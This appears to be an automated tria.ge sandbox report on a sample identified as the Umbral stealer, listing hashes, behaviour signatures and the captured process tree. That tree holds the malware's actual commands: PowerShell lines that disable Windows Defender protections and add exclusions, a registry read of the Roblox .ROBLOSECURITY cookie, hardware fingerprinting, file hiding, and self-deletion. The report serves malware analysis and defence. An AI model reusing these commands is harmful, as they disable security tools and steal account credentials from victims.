Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    16s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2024, 02:04

General

  • Target

    e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe

  • Size

    229KB

  • MD5

    1e10af7811808fc24065f18535cf1220

  • SHA1

    65995bcb862aa66988e1bb0dbff75dcac9b400c7

  • SHA256

    e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

  • SHA512

    f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc

  • SSDEEP

    6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe
    "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe"
      2⤵
      • Views/modifies file attributes
      PID:2852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2216
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1700
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1988
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3056
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:2260
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2900
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:2392
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eedN.exe" && pause
        2⤵
        • Deletes itself
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2356

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      94d1dad6f415dd713c5eb4304968c7ea

      SHA1

      ef3254bd56d3fd9d7c23cc98277317a4a12391e2

      SHA256

      2dea8d574d22fadc618500151328c3f1120ca559b0e38f385f26ee8f278bfb41

      SHA512

      54e890380c092cd6cf1bef6f0bc43538b46c63be474941673c043e7f42b6f6d25476d7b14f68f39c8cccb07e9e1d2e5c539f1bf08c49d9a2f31012b16faf3567

    • memory/2004-1-0x0000000001140000-0x0000000001180000-memory.dmp

      Filesize

      256KB

    • memory/2004-2-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

      Filesize

      9.9MB

    • memory/2004-55-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

      Filesize

      9.9MB

    • memory/2004-0-0x000007FEF57C3000-0x000007FEF57C4000-memory.dmp

      Filesize

      4KB

    • memory/2004-45-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

      Filesize

      9.9MB

    • memory/2004-44-0x000007FEF57C3000-0x000007FEF57C4000-memory.dmp

      Filesize

      4KB

    • memory/2216-22-0x0000000002260000-0x0000000002268000-memory.dmp

      Filesize

      32KB

    • memory/2216-21-0x000000001B540000-0x000000001B822000-memory.dmp

      Filesize

      2.9MB

    • memory/2900-51-0x0000000001E70000-0x0000000001E78000-memory.dmp

      Filesize

      32KB

    • memory/2968-8-0x000000001B710000-0x000000001B9F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2968-15-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-12-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-14-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-13-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-11-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-10-0x000007FEED500000-0x000007FEEDE9D000-memory.dmp

      Filesize

      9.6MB

    • memory/2968-9-0x00000000022C0000-0x00000000022C8000-memory.dmp

      Filesize

      32KB

    • memory/2968-7-0x000007FEED7BE000-0x000007FEED7BF000-memory.dmp

      Filesize

      4KB